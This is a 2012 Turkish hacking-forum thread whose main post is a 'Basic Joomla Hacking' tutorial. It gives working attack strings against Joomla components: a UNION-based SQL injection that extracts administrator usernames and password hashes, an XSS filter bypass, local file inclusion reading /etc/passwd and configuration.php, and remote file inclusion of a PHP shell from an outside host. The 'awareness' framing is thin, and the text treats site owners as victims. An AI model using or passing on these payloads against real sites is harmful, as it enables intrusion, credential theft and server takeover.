İPUCU

Web & Server Güvenliği Doğru web ve veritabanı sunucusu güvenliği sağlanmadan, bilgisayar korsanları hassas verilerinize erişebilir. Web, Sunucu ve veritabanı güvenliğini nasıl sağlayacağınızı buradan öğrenebilirsiniz.

Seçenekler

Joomla İle İlgili Detaylı Bilgi [Açıklar]

15-03-2012 03:02
#1
Alagros - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
11/2011
Nereden:
EJAAD.
Mesajlar:
7.371
Teşekkür (Etti):
40
Teşekkür (Aldı):
747
Konular:
4356
Ticaret:
(0) %
:::: [Bölüm - 1] Giriş

Joomla kullanan arkadaşlarımıza joomla güvenliği hakkında bilgi vermek ve
kullanmayan arkadaşlarımızı ise bilinçlendirmek dökümanın esas hedefidir.

Dökümanda kullanılan kodlar çeşitli joomla sitelerinden edinilmiş olup
sadece misyon dahilinde kullanılmalısını diliyorum.

:::: [Bölüm - 2] Joomla Nedir? Ne İşe Yarar?

Joomla açık kaynak kodlu bir içerik yönetim sistemi (content management system)dir.

Bu içerik kısmı: basit metin, resimler, müzik, video, belgeler ya da düşündüğünüz
herhangi birşey olabilir.
Dolayısıyla joomla zengin bir içeriğe sahip bir portal sistemidir.

Peki joomlayı Mambo, Joomla, Moddle, PHPNuke, Xoops, PHP-Fusion, vBulletin gibi
diğer hazır portal sistemlerinden ayıran avantajı nedir?
Tabiki pek fazla deneyim gerektirmemesi.Bun joomla’cı arkadaşlar kızabilir ama öyle

Deneyim gerektirmemesi avantaj gibi gözüksede joomla güvenliği için en büyük dez avantajdır.

:::: [Bölüm - 3] Joomla’nın Yapıtaşları

Joomla temel olarak 3 unsurdan oluşmaktadır:

1. Component 2. Modül 3. Plugin

[#] Component :

Joomla uygulamasının kullanıcıları ilgilendiren kısmıdır.Örneğin: forumlar , yorum kutuları,
dosya yönetimi , profil ayrıntıları i galeriler….

Birçok joomla açığı componentler unsurunda meydan gelmektedir.

[#] Modül :

Joomla uygulamasının kullanıcıyı ilgilendirmeyen site sayacı , son gönderilenler , online
üyeler gibi kısımlarıdır…

Joomla modüllerinde exploit edilebilecek açıklar bulunmamaktadır.

[#] Plugin :

Mambot olarak da bilinen bu unsur sitenin işleyişiyle ilgili küçük progr*****lardır.
Örneğin joomla yazılarında embed PHP kodlarının kullanılması gibi….

:::: [Bölüm - 4] Joomla Temel Güvenliği

Joomla’yı indirdiğiniz zaman temel çekirdeğinde hiçbir açık bulmazsınız.
Yani açıklar sonradan yüklediğiniz eklentilerde meydana gelmektedir.

Şimdi joomlanın input filtresinde bazı satırlara göz atalım:

“/phpinputfilter/inputfilter.php”

var $tagBlacklist = array (’applet’, ’bOdy’, ’bgsound’ ….

Yukarda XSS filtresinde “bOdy” yasaklı ancak “bOdy” olarak kullanırsak engeli aşabiliyoruz.

$tagOpen_start = strpos($source, ’<’);
while ($tagOpen_start !== false)

Yukarda ise “<” ile başlayan sorgunuz engellenmekte.
Bu engeli ise sorgunuzu “>< ile başlatarak aşabiliyoruz.

Bütün bu anlatılanlardan sonra artık joomla açıklarının componenntlerde meydana geldiğini,
Joomla çekirdeğinde hiçbir açık bulunmadığını , açıkların eklentilerle meydana geldiğini,
anlamış bulunuyoruz.

Şimdi eklentilere geçelim

:::: [Bölüm - 5] Joomla Eklentileri

Joomla eklentilerini herhangi bir joomla desteği veren web sitesinden edinebilirsiniz.

[#] siteniz.com/administrator
Yetkisi ile eklentiyi kuruyoruz.Kurulum tamamlandıktan sonra menü kısmında bazı komponentlerin
yüklendiğini görürsünüz.
Yüklediğiniz eklentiye göre aşağıdaki gibi bir url göreceksiniz:

siteniz.com/index.php?option=com_cw&item=1&itemid=2

Bu url birçok input barındırmakta:

index.php?option= //Komponentleri çağırır
com_cw //Çağırılan komponent
&item=1
&itemid=2

Yukardaki parametreler joomla siteyi ziyaret ettiğinizde ençok karşılaştığınız parametrelerdir.
Bunlara ilaveten aşağıdaki parametrelere de çok fazla rastlanılır.

- format
- link_id
- view
- controller
- layout
- category
- cat
- visit
- page

Bu parametreler’i bulmak, sorgu göndermek için yapacağımız ilk iştir.

:::: [Bölüm - 6] Basic Joomla Hacking

Joomla açıkları için yapacağınız ilk iş localhostunuza joomla kurarak test yapmak olmalıdır.
Bu size deneyim kazandıracaktır.Deneyim kazandıktan sonra artık bir joomla sitesi üzerinde:

- Input alanları
- Eklenti parametreleri
- Hidden type inputları
- PhpMyadmin
- Kullanılan Joomla Teması gibi unsurları bulmanız gerekmektedir.

Joomla da ataklardan korunmak için web site sahipleri genelde SEO ve SEF gibi teknikler kullanırlar.
Her ne teknik kullanırlarsa kullansınlar inputlar herzaman vardır.
Örneğin hiiden type bir input’u kaynak kodlarından görebiliriz.

———————————————————-

<input type=”hidden” name=”option” value=”com_cw” />
<input type=”hidden” name=”ItemId” value=”1″ />
<input type=”hidden” name=”Item” value=”2″ />
<input type=”hidden” name=”Category” value=”1″ />

———————————————————-

Temel bilgilerde size input alanlarını ve zaafiyet noktalarını anlattım.

Bütün bu temel bilgileri verdikten sonra artık yavaş yavaş atak tiplerine geçelim.

:::: [Bölüm - 7] Joomla SQL Injection

Joomla’da eklentileri kurduğunuz zaman :

index.php?option=com_cw&category=1&Item=2

gibi Url’ler muhtemel açıkların meydana geldiği alanlardır.
En sık olarak:

- id cat, category, categories , katid
- item , entry , page

bu parametrelerde meydana gelmektedir.

Peki injection testini nasıl yapacağız?

category=1 parametresinde 1 değeri yerine üsttırnak(’) koyduğumuz zaman
Mysql hatası alıyorsak SQL Injection açığı mevuttur.
Bunu daha iyi anlamanız için örneklere geçelim:

URL: /index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999

Vulnerable Parametre : “Itemid”

URL: /index.php?option=com_mailto&tmpl=mailto&article=5

Vulnerable Parametre : “article”

Parametrelerin nasıl bulunacağını ve Injection testini nasıl yapacağımızı öğrendik.

Exploit etmeye başlamadan önce:

# Joomla Admin tipi : Super Administrator
# Tablomuz : jos_users
# Tablo kolonları : username , password

Bilgileri bilmemiz ve extra olarak mysql injection bilgimizin olması gerekmektedir.
Kolon ve tablo adları ile admin tipini biliyoruz.
Şimdi exploit edelim:

Kolon Sayısı :

/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3

Veriyi Çekekim :

/index.php?option=com_content&task=blogcategory&id= 60&Itemid=99999
+UNION+SELECT+1,concat(0x1e,username,0x3a,password ,0x1e),3+FROM+jos_users
+where+usertype=0x53757065722041646d696e6973747261 746f72–

Çektiğimiz veride password’un joomla salt md5 ile kriptolanmış olduğunu görürsünüz.
Bunları kırması çok kolay değildir.
Bu yüzden XSS açıkları bana göre SQL Injection açıklarından daha önemlidir.

:::: [Bölüm - 8] Joomla XSS/CSRF

Joomla’ da XSS/CSRF açıkları daha çok formlar,ziyaretçi defterleri,yorum kutularında
meydana gelmektedir.
Bunun dışında Hidden type formlar da da sıkılıkla oluşmaktadır.

Joomla da kaynak kodlarında formlara baktığımız zaman:

<input type=”text” name=”search” value=”" />

Yukardaki input değerine js/html/vbs gibi kodlar girebiliriz.
Kurban kaynak kodlarını göremeyeceği için zararlı kodumuzuda göremeyecektir.

FORM : <input type=”text” name=”search” value=”" />

EXPLOIT : <input type=”text” name=”search” value=”">**********alert(“kasva”)</script>” />

Exploit ettiğimiz form bize “Thehacker” uyarısını verecektir.
Aşağıda reel örneleri inceleyebiliriniz:

Example : /components/com_users/ XSS Vulnerability

Example : /components/com_weblinks/ XSS Vulnerability

:::: [Bölüm - 9] Joomla Local File Inclusion

LFI dediğimiz zaman hemen aklınıza linux serverde “etc/passwd” geldiğini bilmiyor değilim.

URL : /index.php?option=com_projectfork&section=

EXPLOIT : /index.php?option=com_projectfork&section=../../../../etc/passwd%00

Joomlada LFI açıklarında çoğu kez php kaynak kodlarınıda okuyabilmekteyiz.
Bunun için aşağıdaki yöntem çok etkili olan bir yöntemdir.

EXPLOIT : /index.php?option=com_projectfork&section=../../../configuration.php

Bunu exploit ettikten sonra dökümanın başında temel ataklar için gerekli olan PhpMyadmin
uygulamasını bulmanız gerekmektedir.
Exploit ederek elde ettiğiniz bilgiler ile databaseye erişim hakkına sahip olabilirsiniz.

:::: [Bölüm - 10] Joomla Remote File Inclusion

Joomla RFI açıkları bize uzak serverden dosya dahil etmemizi sağlamaktadır.
RFI açığı bulduğumuz zaman PHP Shellimizi dahil ederek serverde yetki alabiliriz.

URL : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=

EXPLOIT : /com_googlebase/admin.googlebase.php?mosConfig_absolute_path=http://cw.com/shell.txt?

Exploit ettikten sonra dosyaları görünteleyebilir,indirebilir,değiştirebiliriz.

:::: [Bölüm - 11] OWASP Joomscan And Nikto

Owasp geliştiricileri joomla eklentilerinde var olan açıkları otomatik tarayan bir tool
geliştirdirler.

Perl dilinde yazılan bu toolda yaklaşık 500 adet plugini vardır.
Şuan bu tool güncelleştirilmese bile açık tarayıcı olarak faydalı bir tooldur.

Kullanımı : perl joomscan.pl -h

Bu konuda diğer bir tool ise benim favorim niktodur.
Yine Perl dilinde yazılmış bir tooldur.
Yaklaşım 3.500 plugini vardır.Günceleştirmeler mevcuttur.

Nikto ile de joomla sitenizi tarayabilirsiniz.

Kullanımı : perl nikto.pl -h

Joomscan İndir : OWASP Joomla! Security Scanner | Free Security & Utilities software downloads at SourceForge.net

Nikto İndir : Nikto2 | CIRT.net
Kullanıcı İmzası
DataMaN & _EroS_ & Ares & Alagros & Justice4ewer & MühüR

30-04-2015 13:13
#2
hacker220 - ait Kullanıcı Resmi (Avatar)
Üye
Üyelik tarihi:
08/2012
Mesajlar:
53
Teşekkür (Etti):
21
Teşekkür (Aldı):
2
Konular:
9
Ticaret:
(0) %
yararlı bilgi
Kullanıcı İmzası
30-04-2015 17:01
#3
Üyelik tarihi:
06/2013
Nereden:
Graphic.exe
Yaş:
20
Mesajlar:
662
Teşekkür (Etti):
344
Teşekkür (Aldı):
362
Konular:
106
Ticaret:
(0) %
Açıklayıcı paylaşım teşekkürler .
Dosyaların virustotalini paylaşırsan daha yararlı olur diye düşünüyorum
Kullanıcı İmzası
İki eli cebinde gezen çocuk

2015 - [DevGrafikArşivi] -


Bookmarks


« Önceki Konu | Sonraki Konu »
Seçenekler

Yetkileriniz
Sizin Yeni Konu Acma Yetkiniz var yok
You may not post replies
Sizin eklenti yükleme yetkiniz yok
You may not edit your posts

BB code is Açık
Smileler Açık
[IMG] Kodları Açık
HTML-Kodları Kapalı
Trackbacks are Kapalı
Pingbacks are Kapalı
Refbacks are Kapalı